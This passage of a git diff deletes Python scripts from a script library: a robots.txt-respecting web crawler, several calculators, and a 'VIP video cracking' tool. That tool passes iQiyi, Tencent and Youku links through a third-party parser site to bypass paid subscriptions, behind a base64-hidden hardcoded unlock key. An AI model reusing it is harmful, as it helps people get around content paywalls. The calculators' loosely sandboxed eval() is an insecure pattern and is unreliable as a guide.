已访问URL集合 - self.visited_urls: Set[str] = set() - # 待爬取URL队列(URL, 深度) - self.url_queue: List[Tuple[str, int]] = [(self.base_url, 0)] - # robots.txt解析器 - self.robot_parser = urllib.robotparser.RobotFileParser() - - # 统计信息 - self.stats = { - 'pages_crawled': 0, - 'files_downloaded': 0, - 'total_size': 0, - 'errors': 0, - 'css_files_parsed': 0, - 'js_files_parsed': 0, - 'redirects_followed': 0 - } - - # 初始化session - self.session = requests.Session() - self.session.headers.update(DEFAULT_HEADERS) - self.session.max_redirects = 10 if follow_redirects else 0 - - # URL优先级队列(用于深度优先) - self.priority_queue = [] - - # 加载robots.txt - if self.respect_robots: - self._load_robots_txt() - - def _load_robots_txt(self): - """加载并解析robots.txt""" - try: - robots_url = f"{self.base_url}/robots.txt" - self.robot_parser.set_url(robots_url) - self.robot_parser.read() - except Exception as e: - print(f"警告: 无法加载robots.txt: {e}") - - def _can_fetch(self, url: str) -> bool: - """检查是否允许爬取该URL""" - if not self.respect_robots: - return True - return self.robot_parser.can_fetch(DEFAULT_HEADERS['User-Agent'], url) - - def _is_same_domain(self, url: str) -> bool: - """检查URL是否属于同一域名""" - try: - parsed = urllib.parse.urlparse(url) - return parsed.netloc == self.base_domain or not parsed.netloc - except: - return False - - def _normalize_url(self, url: str, base: str = None) -> str: - """标准化URL""" - if base is None: - base = self.base_url - - # 如果是相对路径,转换为绝对路径 - if not url.startswith(('http://', 'https://', '//')): - if url.startswith('/'): - # 相对于根目录 - parsed_base = urllib.parse.urlparse(base) - url = f"{parsed_base.scheme}://{parsed_base.netloc}{url}" - else: - # 相对于当前页面 - if not base.endswith('/'): - base += '/' - url = urllib.parse.urljoin(base, url) - - # 处理协议相对URL - if url.startswith('//'): - url = f"https:{url}" - - # 移除片段标识符 - url = urllib.parse.urldefrag(url)[0] - - # 确保URL以/结尾(如果是目录) - parsed = urllib.parse.urlparse(url) - if not parsed.path: - url = url.rstrip('/') + '/' - - return url - - def _get_file_extension(self, url: str) -> str: - """从URL获取文件扩展名""" - path = urllib.parse.urlparse(url).path - ext = Path(path).suffix.lower() - return ext - - def _is_downloadable_file(self, url: str) -> bool: - """检查URL是否指向可下载文件""" - ext = self._get_file_extension(url) - return ext in DOWNLOADABLE_EXTENSIONS - - def _should_crawl(self, url: str, current_depth: int) -> bool: - """判断是否应该爬取该URL""" - # 检查深度限制 - if current_depth >= self.max_depth: - return False - - # 检查是否已访问 - if url in self.visited_urls: - return False - - # 检查域名 - if not self._is_same_domain(url): - return False - - # 检查robots.txt - if not self._can_fetch(url): - return False - - # 对于文件下载,不进行进一步爬取 - if self._is_downloadable_file(url): - return False - - return True - - def _extract_links(self, html: str, base_url: str) -> List[str]: - """从HTML中提取所有链接(增强版)""" - soup = BeautifulSoup(html, 'html.parser') - links = [] - - # 提取HTML标签中的链接 - html_links = self._extract_html_links(soup, base_url) - links.extend(html_links) - - # 提取CSS中的链接 - css_links = self._extract_css_links(html, base_url) - links.extend(css_links) - - # 提取JavaScript中的链接(基础正则匹配) - js_links = self._extract_js_links(html, base_url) - links.extend(js_links) - - # 提取meta refresh重定向 - meta_links = self._extract_meta_refresh_links(soup, base_url) - links.extend(meta_links) - - # 去重 - unique_links = [] - seen = set() - for link in links: - if link and link not in seen: - seen.add(link) - unique_links.append(link) - - return unique_links - - def _extract_html_links(self, soup: BeautifulSoup, base_url: str) -> List[str]: - """提取HTML标签中的链接""" - links = [] - - # 定义所有可能包含URL的标签和属性 - url_attributes = { - 'a': ['href'], - 'link': ['href'], - 'script': ['src'], - 'img': ['src', 'srcset', 'data-src', 'data-original'], - 'source': ['src', 'srcset'], - 'iframe': ['src'], - 'frame': ['src'], - 'embed': ['src'], - 'object': ['data'], - 'video': ['src', 'poster'], - 'audio': ['src'], - 'track': ['src'], - 'area': ['href'], - 'base': ['href'], - 'form': ['action'], - 'button': ['formaction'], - 'input': ['src', 'formaction'], - 'meta': ['content'], # 用于og:image等 - 'applet': ['code', 'archive'], - 'bgsound': ['src'], - 'body': ['background'], - 'table': ['background'], - 'td': ['background'], - 'th': ['background'], - } - - for tag_name, attrs in url_attributes.items(): - for tag in soup.find_all(tag_name): - for attr in attrs: - if tag.get(attr): - urls = self._parse_attribute_value(tag[attr], base_url) - links.extend(urls) - - # 处理style属性中的URL - for tag in soup.find_all(style=True): - style_links = self._extract_css_urls(tag['style'], base_url) - links.extend(style_links) - - return links - - def _extract_css_links(self, html: str, base_url: str) -> List[str]: - """提取CSS中的链接""" - links = [] - - # 提取 - - -
-
- 🧮 PRO-991EX - RAD -
- -
-
-
0
-
- - -
-
- -
- - - - -
- - -
-
-
- - - - -
-
- - - - -
-
- - - - -
-
- - - - -
-
- - - - -
-
- - - - -
-
- - - - -
-
- - - -
-
- - - - -
-
- - - -
-
- - - - -
-
-
- - - - - - - - - - - -
-
就绪
-
-
- - -""" - -# 辅助函数 -def safe_eval(expr): - namespace = { - "np": np, "math": math, - "sin": math.sin if state["angle_mode"] == "rad" else lambda x: math.sin(math.radians(x)), - "cos": math.cos if state["angle_mode"] == "rad" else lambda x: math.cos(math.radians(x)), - "tan": math.tan if state["angle_mode"] == "rad" else lambda x: math.tan(math.radians(x)), - "asin": math.asin if state["angle_mode"] == "rad" else lambda x: math.degrees(math.asin(x)), - "acos": math.acos if state["angle_mode"] == "rad" else lambda x: math.degrees(math.acos(x)), - "atan": math.atan if state["angle_mode"] == "rad" else lambda x: math.degrees(math.atan(x)), - "log": math.log10, "ln": math.log, "sqrt": math.sqrt, - "pi": math.pi, "e": math.e, "factorial": math.factorial, - "comb": math.comb, "perm": math.perm, - } - try: - return str(eval(expr, {"__builtins__": {}}, namespace)) - except Exception as e: - return f"错误" - -def parse_matrix(text): - if not text.strip(): return None - rows = text.strip().split(";") - return np.array([[float(x.strip()) for x in row.split(",")] for row in rows]) - -def update_display(dom): - dom.setValue("Display", state["display"]) - dom.setValue("Expression", state["expression"]) - dom.setValue("AngleIndicator", {"rad": "RAD", "deg": "DEG", "grad": "GRAD"}[state["angle_mode"]]) - -def update_mode_ui(dom): - for m in ["basic", "matrix", "stats", "solver"]: - dom.removeClass(f"Mode{m.capitalize()}", "active") - dom.setAttribute(f"{m.capitalize()}Panel", "style", f"display: {'block' if m == state['mode'] else 'none'}") - dom.addClass(f"Mode{state['mode'].capitalize()}", "active") - -def add_history(dom, entry): - state["history"].append(entry) - if len(state["history"]) > 8: state["history"] = state["history"][-8:] - html = "".join(f'
{h}
' for h in reversed(state["history"])) - dom.inner("HistoryList", html or '
就绪
') - -# Atlas 回调 -def atk(dom): - dom.inner("", BODY) - update_display(dom) - update_mode_ui(dom) - -def atkSetModeBasic(dom): state["mode"] = "basic"; update_mode_ui(dom) -def atkSetModeMatrix(dom): state["mode"] = "matrix"; update_mode_ui(dom) -def atkSetModeStats(dom): state["mode"] = "stats"; update_mode_ui(dom) -def atkSetModeSolver(dom): state["mode"] = "solver"; update_mode_ui(dom) - -def atkPressNum0(dom): press_num(dom, "0") -def atkPressNum1(dom): press_num(dom, "1") -def atkPressNum2(dom): press_num(dom, "2") -def atkPressNum3(dom): press_num(dom, "3") -def atkPressNum4(dom): press_num(dom, "4") -def atkPressNum5(dom): press_num(dom, "5") -def atkPressNum6(dom): press_num(dom, "6") -def atkPressNum7(dom): press_num(dom, "7") -def atkPressNum8(dom): press_num(dom, "8") -def atkPressNum9(dom): press_num(dom, "9") - -def press_num(dom, num): - state["display"] = num if state["display"] in ("0", "错误") else state["display"] + num - state["expression"] = state["display"] - update_display(dom) - -def atkPressDot(dom): - if "." not in state["display"]: state["display"] += "."; state["expression"] = state["display"] - update_display(dom) - -def atkPressAdd(dom): press_op(dom, "+") -def atkPressSub(dom): press_op(dom, "-") -def atkPressMul(dom): press_op(dom, "*") -def atkPressDiv(dom): press_op(dom, "/") - -def press_op(dom, op): - state["display"] += op; state["expression"] = state["display"] - update_display(dom) - -def atkPressParen(dom): - open_cnt = state["display"].count("("); close_cnt = state["display"].count(")") - state["display"] += ")" if open_cnt > close_cnt else "(" - state["expression"] = state["display"] - update_display(dom) - -def atkPressSin(dom): press_func(dom, "sin") -def atkPressCos(dom): press_func(dom, "cos") -def atkPressTan(dom): press_func(dom, "tan") -def atkPressAsin(dom): press_func(dom, "asin") -def atkPressAcos(dom): press_func(dom, "acos") -def atkPressAtan(dom): press_func(dom, "atan") -def atkPressLog(dom): press_func(dom, "log") -def atkPressLn(dom): press_func(dom, "ln") -def atkPressSqrt(dom): press_func(dom, "sqrt") - -def press_func(dom, func): - state["display"] = func + "(" if state["display"] == "0" else state["display"] + func + "(" - state["expression"] = state["display"] - update_display(dom) - -def atkPressPow(dom): state["display"] += "**"; state["expression"] = state["display"]; update_display(dom) -def atkPressPi(dom): state["display"] += "pi"; state["expression"] = state["display"]; update_display(dom) -def atkPressE(dom): state["display"] += "e"; state["expression"] = state["display"]; update_display(dom) -def atkPressFact(dom): press_func(dom, "factorial") -def atkPressComb(dom): press_func(dom, "comb") -def atkPressPerm(dom): press_func(dom, "perm") -def atkPressAns(dom): state["display"] += str(state["ans"]); state["expression"] = state["display"]; update_display(dom) - -def atkToggleAngle(dom): - modes = {"rad": "deg", "deg": "grad", "grad": "rad"} - state["angle_mode"] = modes[state["angle_mode"]] - update_display(dom) - -def atkClear(dom): - state["display"] = "0"; state["expression"] = "" - update_display(dom) - -def atkBackspace(dom): - state["display"] = state["display"][:-1] or "0" - state["expression"] = state["display"] - update_display(dom) - -def atkCalculate(dom): - result = safe_eval(state["display"]) - try: - state["ans"] = float(result) - except: - pass - add_history(dom, f"{state['display']} = {result}") - state["display"] = result - state["expression"] = "" - update_display(dom) - -# 矩阵运算 -def atkMatrixAdd(dom): matrix_op(dom, lambda a,b: a+b, "A+B") -def atkMatrixSub(dom): matrix_op(dom, lambda a,b: a-b, "A-B") -def atkMatrixMul(dom): matrix_op(dom, lambda a,b: a@b, "A×B") - -def matrix_op(dom, op, name): - try: - a = parse_matrix(dom.getValue("MatrixA")) - b = parse_matrix(dom.getValue("MatrixB")) - if a is None or b is None: - dom.setValue("MatrixResult", "请输入矩阵") - return - result = op(a, b) - dom.setValue("MatrixResult", str(result)) - add_history(dom, f"{name}: {result}") - except Exception as e: - dom.setValue("MatrixResult", f"错误: {e}") - -def atkMatrixTranspose(dom): - try: - a = parse_matrix(dom.getValue("MatrixA")) - if a is None: dom.setValue("MatrixResult", "请输入矩阵A"); return - result = a.T - dom.setValue("MatrixResult", str(result)) - add_history(dom, f"Aᵀ: {result}") - except Exception as e: - dom.setValue("MatrixResult", f"错误: {e}") - -def atkMatrixInv(dom): - try: - a = parse_matrix(dom.getValue("MatrixA")) - if a is None: dom.setValue("MatrixResult", "请输入矩阵A"); return - result = np.linalg.inv(a) - dom.setValue("MatrixResult", str(result)) - add_history(dom, f"A⁻¹: {result}") - except Exception as e: - dom.setValue("MatrixResult", f"不可逆: {e}") - -def atkMatrixDet(dom): - try: - a = parse_matrix(dom.getValue("MatrixA")) - result = np.linalg.det(a) - dom.setValue("MatrixResult", str(result)) - add_history(dom, f"det(A) = {result}") - except Exception as e: - dom.setValue("MatrixResult", f"错误: {e}") - -def atkMatrixEig(dom): - try: - a = parse_matrix(dom.getValue("MatrixA")) - result = np.linalg.eigvals(a) - dom.setValue("MatrixResult", str(result)) - add_history(dom, f"特征值: {result}") - except Exception as e: - dom.setValue("MatrixResult", f"错误: {e}") - -def atkMatrixClear(dom): - dom.setValue("MatrixA", ""); dom.setValue("MatrixB", ""); dom.setValue("MatrixResult", "") - -# 统计 -def get_stats_data(dom): - text = dom.getValue("StatsData") - return np.array([float(x) for x in re.split(r"[,\s]+", text.strip()) if x]) - -def atkStatsMean(dom): - try: - data = get_stats_data(dom) - result = np.mean(data) - dom.setValue("StatsResult", f"均值: {result}") - add_history(dom, f"均值 = {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsStd(dom): - try: - data = get_stats_data(dom) - result = np.std(data) - dom.setValue("StatsResult", f"标准差: {result}") - add_history(dom, f"标准差 = {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsVar(dom): - try: - data = get_stats_data(dom) - result = np.var(data) - dom.setValue("StatsResult", f"方差: {result}") - add_history(dom, f"方差 = {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsMedian(dom): - try: - data = get_stats_data(dom) - result = np.median(data) - dom.setValue("StatsResult", f"中位数: {result}") - add_history(dom, f"中位数 = {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsMin(dom): - try: - data = get_stats_data(dom) - result = np.min(data) - dom.setValue("StatsResult", f"最小值: {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsMax(dom): - try: - data = get_stats_data(dom) - result = np.max(data) - dom.setValue("StatsResult", f"最大值: {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsSum(dom): - try: - data = get_stats_data(dom) - result = np.sum(data) - dom.setValue("StatsResult", f"求和: {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsClear(dom): - dom.setValue("StatsData", ""); dom.setValue("StatsResult", "") - -# 方程求解 -def atkSolveQuadratic(dom): - try: - a = float(dom.getValue("CoefA") or 0) - b = float(dom.getValue("CoefB") or 0) - c = float(dom.getValue("CoefC") or 0) - if a == 0: - dom.setValue("SolverResult", "a不能为0") - return - delta = b**2 - 4*a*c - if delta >= 0: - x1 = (-b + math.sqrt(delta)) / (2*a) - x2 = (-b - math.sqrt(delta)) / (2*a) - result = f"x₁ = {x1:.6f}, x₂ = {x2:.6f}" - else: - real = -b / (2*a) - imag = math.sqrt(-delta) / (2*a) - result = f"x₁ = {real:.6f} + {imag:.6f}i, x₂ = {real:.6f} - {imag:.6f}i" - dom.setValue("SolverResult", result) - add_history(dom, f"{a}x²+{b}x+{c}=0 → {result}") - except Exception as e: - dom.setValue("SolverResult", f"错误: {e}") - -# 记忆功能 -def atkMemoryStoreA(dom): - try: state["memory"]["A"] = float(state["display"]); dom.setValue("MemIndicator", "A已存") - except: pass - -def atkMemoryStoreB(dom): - try: state["memory"]["B"] = float(state["display"]); dom.setValue("MemIndicator", "B已存") - except: pass - -def atkMemoryStoreC(dom): - try: state["memory"]["C"] = float(state["display"]); dom.setValue("MemIndicator", "C已存") - except: pass - -def atkMemoryStoreM(dom): - try: state["memory"]["M"] = float(state["display"]); dom.setValue("MemIndicator", "M已存") - except: pass - -def atkPressShift(dom): - state["shift"] = not state["shift"] - dom.setValue("ShiftIndicator", "SHIFT" if state["shift"] else " ") - -# 启动 -atlastk.launch(globals=globals()) \ No newline at end of file diff --git a/script_library/scripts/ui/qiyue_mnyea7xv.py b/script_library/scripts/ui/qiyue_mnyea7xv.py deleted file mode 100644 index e9cc4d1..0000000 --- a/script_library/scripts/ui/qiyue_mnyea7xv.py +++ /dev/null @@ -1,146 +0,0 @@ -import webbrowser -import ui -import base64 - -# 这里存放8ca58e770b78c0e7a7063c279ae0a11dd45962953fae4c2130add25a3d172020ce94c002b2b6e62a47d3 -ENCODED_CARD = "cWl5dWU=" # 如果你卡密不同,把引号里的换成你上一步得到的码 - -def open_iqy(sender): - webbrowser.open('https://www.iqiyi.com') - -def open_tx(sender): - webbrowser.open('https://v.qq.com') - -def open_yq(sender): - webbrowser.open('https://www.youku.com/') - -def play_vip(sender): - url = 'https://jx.xmflv.cc/?url=' - video = sender.superview['entry'].text - webbrowser.open(url + video) - -def clear_text(sender): - sender.superview['entry'].text = '' - -def verify_card(sender): - card_entry = sender.superview['card_entry'] - input_card = card_entry.text.strip() - # 解码存储的 Base64,得到真实卡密 - correct_card = base64.b64decode(ENCODED_CARD).decode() - if input_card == correct_card: - play_btn = sender.superview['play_btn'] - play_btn.enabled = True - ui.alert('验证成功', '卡密正确,现在可以使用VIP播放功能了!', '好的') - card_entry.text = '' - else: - ui.alert('验证失败', '卡密错误,无法使用VIP播放功能。', '重试') - -if __name__ == '__main__': - v = ui.View() - v.name = 'VIP视频破解软件' - v.background_color = 'white' - v.frame = (0, 0, 480, 260) - - # 视频链接行 - label_movie_link = ui.Label() - label_movie_link.text = '网页视频链接:' - label_movie_link.frame = (20, 20, 100, 30) - v.add_subview(label_movie_link) - - entry_movie_link = ui.TextField() - entry_movie_link.frame = (125, 20, 260, 30) - entry_movie_link.border_width = 1 - entry_movie_link.border_color = (0.8, 0.8, 0.8) - entry_movie_link.corner_radius = 5 - entry_movie_link.name = 'entry' - v.add_subview(entry_movie_link) - - btn_clear = ui.Button() - btn_clear.title = '清空' - btn_clear.frame = (400, 20, 50, 30) - btn_clear.background_color = (0.9, 0.9, 0.9) - btn_clear.corner_radius = 5 - btn_clear.action = clear_text - v.add_subview(btn_clear) - - # 平台按钮行 - btn_iqy = ui.Button() - btn_iqy.title = '爱奇艺' - btn_iqy.frame = (25, 70, 80, 40) - btn_iqy.background_color = (0.2, 0.6, 1.0) - btn_iqy.tint_color = 'white' - btn_iqy.corner_radius = 8 - btn_iqy.action = open_iqy - v.add_subview(btn_iqy) - - btn_tx = ui.Button() - btn_tx.title = '腾讯视频' - btn_tx.frame = (125, 70, 80, 40) - btn_tx.background_color = (0.0, 0.8, 0.4) - btn_tx.tint_color = 'white' - btn_tx.corner_radius = 8 - btn_tx.action = open_tx - v.add_subview(btn_tx) - - btn_youku = ui.Button() - btn_youku.title = '优酷视频' - btn_youku.frame = (225, 70, 80, 40) - btn_youku.background_color = (1.0, 0.3, 0.2) - btn_youku.tint_color = 'white' - btn_youku.corner_radius = 8 - btn_youku.action = open_yq - v.add_subview(btn_youku) - - btn_play = ui.Button() - btn_play.title = '播放VIP视频' - btn_play.frame = (325, 70, 125, 40) - btn_play.background_color = (0.6, 0.2, 0.8) - btn_play.tint_color = 'white' - btn_play.corner_radius = 8 - btn_play.action = play_vip - btn_play.enabled = False - btn_play.name = 'play_btn' - v.add_subview(btn_play) - - # 提示标签 - lab_remind = ui.Label() - lab_remind.text = '提示:将视频链接复制到框内,点击播放VIP视频' - lab_remind.frame = (50, 125, 400, 20) - lab_remind.text_color = (0.4, 0.4, 0.4) - lab_remind.alignment = ui.ALIGN_CENTER - v.add_subview(lab_remind) - - # 卡密验证行 - label_card = ui.Label() - label_card.text = '卡密:' - label_card.frame = (50, 155, 50, 30) - v.add_subview(label_card) - - entry_card = ui.TextField() - entry_card.frame = (100, 155, 200, 30) - entry_card.border_width = 1 - entry_card.border_color = (0.8, 0.8, 0.8) - entry_card.corner_radius = 5 - entry_card.placeholder = '输入卡密以解锁VIP播放' - entry_card.name = 'card_entry' - v.add_subview(entry_card) - - btn_verify = ui.Button() - btn_verify.title = '验证卡密' - btn_verify.frame = (320, 155, 100, 30) - btn_verify.background_color = (0.9, 0.5, 0.2) - btn_verify.tint_color = 'white' - btn_verify.corner_radius = 5 - btn_verify.action = verify_card - v.add_subview(btn_verify) - - # 作者标签 - author_label = ui.Label() - author_label.text = '作者:七月' - author_label.frame = (0, 205, 480, 25) - author_label.text_color = (0.5, 0.5, 0.5) - author_label.alignment = ui.ALIGN_CENTER - author_label.font = ('', 12) - v.add_subview(author_label) - - v.present('sheet') \ No newline at end of file diff --git a/script_library/scripts/ui/script_mmvsfmza.py b/script_library/scripts/ui/script_mmvsfmza.py deleted file mode 100644 index c2ec5f3..0000000 --- a/script_library/scripts/ui/script_mmvsfmza.py +++ /dev/null @@ -1,144 +0,0 @@ -import ui -import re - -# 只允许安全的计算表达式 -_allowed_pattern = re.compile(r'^[0-9+\-*/().\s]+$') - -def safe_eval(expr: str): - expr = expr.strip() - if not expr: - return '' - if not _allowed_pattern.match(expr): - return 'Error' - try: - result = eval(expr, {"__builtins__": None}, {}) - if isinstance(result, float): - return str(int(result)) if result.is_integer() else str(result) - return str(result) - except Exception: - return 'Error' - - -class SimpleCalculator(ui.View): - def __init__(self, *args, **kwargs): - # 模拟“正常用户”:给一个典型根尺寸 320x480 - super().__init__(frame=(0, 0, 320, 480), *args, **kwargs) - - self.background_color = 'white' - self.name = '计算器(测试UI居中)' - self.expr = '0' - - # 顶部显示区域 —— 占一点高度,不压得太高,也不太低 - self.display = ui.Label() - self.display.frame = (16, 40, self.width - 32, 60) - self.display.alignment = ui.ALIGN_RIGHT - self.display.font = ('', 32) - self.display.text = '0' - self.display.text_color = 'black' - self.display.background_color = None - self.add_subview(self.display) - - # 按钮布局:整体放在中部偏下,但不是挤到最下面 - buttons = [ - ['C', '+/-', '%', '/'], - ['7', '8', '9', '*'], - ['4', '5', '6', '-'], - ['1', '2', '3', '+'], - ['0', '', '.', '='], - ] - - margin = 10 - btn_w = (self.width - margin * 5) / 4.0 - btn_h = 60 - # 比你之前的 140 再往上提一点,整体更居中 - start_y = 120 - - for row_index, row in enumerate(buttons): - for col_index, title in enumerate(row): - if title == '': - continue - - x = margin + col_index * (btn_w + margin) - y = start_y + row_index * (btn_h + margin) - - # 0 键双倍宽度 - if title == '0' and row_index == 4 and col_index == 0: - width = btn_w * 2 + margin - else: - width = btn_w - - btn = ui.Button(title=title) - btn.frame = (x, y, width, btn_h) - btn.font = ('', 24) - btn.corner_radius = 12 - - if title in ['C', '+/-', '%']: - btn.background_color = '#a5a5a5' - btn.tint_color = 'black' - elif title in ['/', '*', '-', '+', '=']: - btn.background_color = '#ff9f0a' - btn.tint_color = 'white' - else: - btn.background_color = '#333333' - btn.tint_color = 'white' - - btn.action = self.button_tapped - self.add_subview(btn) - - # 更新显示 - def update_display(self): - self.display.text = self.expr - - # 按钮事件 - def button_tapped(self, sender): - text = sender.title - - if text == 'C': - self.expr = '0' - self.update_display() - return - - if text == '+/-': - if self.expr.startswith('-'): - self.expr = self.expr[1:] - else: - if self.expr != '0': - self.expr = '-' + self.expr - self.update_display() - return - - if text == '%': - val = safe_eval(self.expr) - if val not in ('Error', ''): - try: - num = float(val) / 100.0 - self.expr = str(int(num)) if num.is_integer() else str(num) - except Exception: - self.expr = 'Error' - else: - self.expr = 'Error' - self.update_display() - return - - if text == '=': - result = safe_eval(self.expr) - self.expr = result if result != '' else '0' - self.update_display() - return - - # 普通数字/符号输入 - if self.expr == '0' and text in '0123456789': - self.expr = text - else: - self.expr += text - - self.update_display() - - -def main(): - v = SimpleCalculator() - v.present('sheet') - - -if __name__ == '__main__': - main() \ No newline at end of file diff --git a/script_library/scripts/ui/script_mmw6k09q.py b/script_library/scripts/ui/script_mmw6k09q.py deleted file mode 100644 index c2ec5f3..0000000 --- a/script_library/scripts/ui/script_mmw6k09q.py +++ /dev/null @@ -1,144 +0,0 @@ -import ui -import re - -# 只允许安全的计算表达式 -_allowed_pattern = re.compile(r'^[0-9+\-*/().\s]+$') - -def safe_eval(expr: str): - expr = expr.strip() - if not expr: - return '' - if not _allowed_pattern.match(expr): - return 'Error' - try: - result = eval(expr, {"__builtins__": None}, {}) - if isinstance(result, float): - return str(int(result)) if result.is_integer() else str(result) - return str(result) - except Exception: - return 'Error' - - -class SimpleCalculator(ui.View): - def __init__(self, *args, **kwargs): - # 模拟“正常用户”:给一个典型根尺寸 320x480 - super().__init__(frame=(0, 0, 320, 480), *args, **kwargs) - - self.background_color = 'white' - self.name = '计算器(测试UI居中)' - self.expr = '0' - - # 顶部显示区域 —— 占一点高度,不压得太高,也不太低 - self.display = ui.Label() - self.display.frame = (16, 40, self.width - 32, 60) - self.display.alignment = ui.ALIGN_RIGHT - self.display.font = ('', 32) - self.display.text = '0' - self.display.text_color = 'black' - self.display.background_color = None - self.add_subview(self.display) - - # 按钮布局:整体放在中部偏下,但不是挤到最下面 - buttons = [ - ['C', '+/-', '%', '/'], - ['7', '8', '9', '*'], - ['4', '5', '6', '-'], - ['1', '2', '3', '+'], - ['0', '', '.', '='], - ] - - margin = 10 - btn_w = (self.width - margin * 5) / 4.0 - btn_h = 60 - # 比你之前的 140 再往上提一点,整体更居中 - start_y = 120 - - for row_index, row in enumerate(buttons): - for col_index, title in enumerate(row): - if title == '': - continue - - x = margin + col_index * (btn_w + margin) - y = start_y + row_index * (btn_h + margin) - - # 0 键双倍宽度 - if title == '0' and row_index == 4 and col_index == 0: - width = btn_w * 2 + margin - else: - width = btn_w - - btn = ui.Button(title=title) - btn.frame = (x, y, width, btn_h) - btn.font = ('', 24) - btn.corner_radius = 12 - - if title in ['C', '+/-', '%']: - btn.background_color = '#a5a5a5' - btn.tint_color = 'black' - elif title in ['/', '*', '-', '+', '=']: - btn.background_color = '#ff9f0a' - btn.tint_color = 'white' - else: - btn.background_color = '#333333' - btn.tint_color = 'white' - - btn.action = self.button_tapped - self.add_subview(btn) - - # 更新显示 - def update_display(self): - self.display.text = self.expr - - # 按钮事件 - def button_tapped(self, sender): - text = sender.title - - if text == 'C': - self.expr = '0' - self.update_display() - return - - if text == '+/-': - if self.expr.startswith('-'): - self.expr = self.expr[1:] - else: - if self.expr != '0': - self.expr = '-' + self.expr - self.update_display() - return - - if text == '%': - val = safe_eval(self.expr) - if val not in ('Error', ''): - try: - num = float(val) / 100.0 - self.expr = str(int(num)) if num.is_integer() else str(num) - except Exception: - self.expr = 'Error' - else: - self.expr = 'Error' - self.update_display() - return - - if text == '=': - result = safe_eval(self.expr) - self.expr = result if result != '' else '0' - self.update_display() - return - - # 普通数字/符号输入 - if self.expr == '0' and text in '0123456789': - self.expr = text - else: - self.expr += text - - self.update_display() - - -def main(): - v = SimpleCalculator() - v.present('sheet') - - -if __name__ == '__main__': - main() \ No newline at end of file diff --git a/script_library/scripts/ui/script_mmw6yzdm.py b/script_library/scripts/ui/script_mmw6yzdm.py deleted file mode 100644 index c2ec5f3..0000000 --- a/script_library/scripts/ui/script_mmw6yzdm.py +++ /dev/null @@ -1,144 +0,0 @@ -import ui -import re - -# 只允许安全的计算表达式 -_allowed_pattern = re.compile(r'^[0-9+\-*/().\s]+$') - -def safe_eval(expr: str): - expr = expr.strip() - if not expr: - return '' - if not _allowed_pattern.match(expr): - return 'Error' - try: - result = eval(expr, {"__builtins__": None}, {}) - if isinstance(result, float): - return str(int(result)) if result.is_integer() else str(result) - return str(result) - except Exception: - return 'Error' - - -class SimpleCalculator(ui.View): - def __init__(self, *args, **kwargs): - # 模拟“正常用户”:给一个典型根尺寸 320x480 - super().__init__(frame=(0, 0, 320, 480), *args, **kwargs) - - self.background_color = 'white' - self.name = '计算器(测试UI居中)' - self.expr = '0' - - # 顶部显示区域 —— 占一点高度,不压得太高,也不太低 - self.display = ui.Label() - self.display.frame = (16, 40, self.width - 32, 60) - self.display.alignment = ui.ALIGN_RIGHT - self.display.font = ('', 32) - self.display.text = '0' - self.display.text_color = 'black' - self.display.background_color = None - self.add_subview(self.display) - - # 按钮布局:整体放在中部偏下,但不是挤到最下面 - buttons = [ - ['C', '+/-', '%', '/'], - ['7', '8', '9', '*'], - ['4', '5', '6', '-'], - ['1', '2', '3', '+'], - ['0', '', '.', '='], - ] - - margin = 10 - btn_w = (self.width - margin * 5) / 4.0 - btn_h = 60 - # 比你之前的 140 再往上提一点,整体更居中 - start_y = 120 - - for row_index, row in enumerate(buttons): - for col_index, title in enumerate(row): - if title == '': - continue - - x = margin + col_index * (btn_w + margin) - y = start_y + row_index * (btn_h + margin) - - # 0 键双倍宽度 - if title == '0' and row_index == 4 and col_index == 0: - width = btn_w * 2 + margin - else: - width = btn_w - - btn = ui.Button(title=title) - btn.frame = (x, y, width, btn_h) - btn.font = ('', 24) - btn.corner_radius = 12 - - if title in ['C', '+/-', '%']: - btn.background_color = '#a5a5a5' - btn.tint_color = 'black' - elif title in ['/', '*', '-', '+', '=']: - btn.background_color = '#ff9f0a' - btn.tint_color = 'white' - else: - btn.background_color = '#333333' - btn.tint_color = 'white' - - btn.action = self.button_tapped - self.add_subview(btn) - - # 更新显示 - def update_display(self): - self.display.text = self.expr - - # 按钮事件 - def button_tapped(self, sender): - text = sender.title - - if text == 'C': - self.expr = '0' - self.update_display() - return - - if text == '+/-': - if self.expr.startswith('-'): - self.expr = self.expr[1:] - else: - if self.expr != '0': - self.expr = '-' + self.expr - self.update_display() - return - - if text == '%': - val = safe_eval(self.expr) - if val not in ('Error', ''): - try: - num = float(val) / 100.0 - self.expr = str(int(num)) if num.is_integer() else str(num) - except Exception: - self.expr = 'Error' - else: - self.expr = 'Error' - self.update_display() - return - - if text == '=': - result = safe_eval(self.expr) - self.expr = result if result != '' else '0' - self.update_display() - return - - # 普通数字/符号输入 - if self.expr == '0' and text in '0123456789': - self.expr = text - else: - self.expr += text - - self.update_display() - - -def main(): - v = SimpleCalculator() - v.present('sheet') - - -if __name__ == '__main__': - main() \ No newline at end of file diff --git a/script_library/scripts/ui/script_mmyy8nf3.py b/script_library/scripts/ui/script_mmyy8nf3.py deleted file mode 100644 index 3562341..0000000 --- a/script_library/scripts/ui/script_mmyy8nf3.py +++ /dev/null @@ -1,222 +0,0 @@ -import ui -import math - -class CalculatorView(ui.View): - def __init__(self): - super().__init__() # 添加父类初始化调用 - self.name = '计算器' - self.background_color = 'black' - self.display_text = '0' - self.first_operand = None - self.operator = None - self.waiting_for_second_operand = False - self.should_reset_display = False - - # 按钮布局和标签 - 存储为实例变量以便 layout() 访问 - self.button_specs = [ - ('AC', 0, 0, 1), ('⌫', 1, 0, 1), ('%', 2, 0, 1), ('÷', 3, 0, 1), - ('7', 0, 1, 1), ('8', 1, 1, 1), ('9', 2, 1, 1), ('×', 3, 1, 1), - ('4', 0, 2, 1), ('5', 1, 2, 1), ('6', 2, 2, 1), ('-', 3, 2, 1), - ('1', 0, 3, 1), ('2', 1, 3, 1), ('3', 2, 3, 1), ('+', 3, 3, 1), - ('0', 0, 4, 2), ('.', 2, 4, 1), ('=', 3, 4, 1) - ] - - # 创建显示标签 - self.display_label = 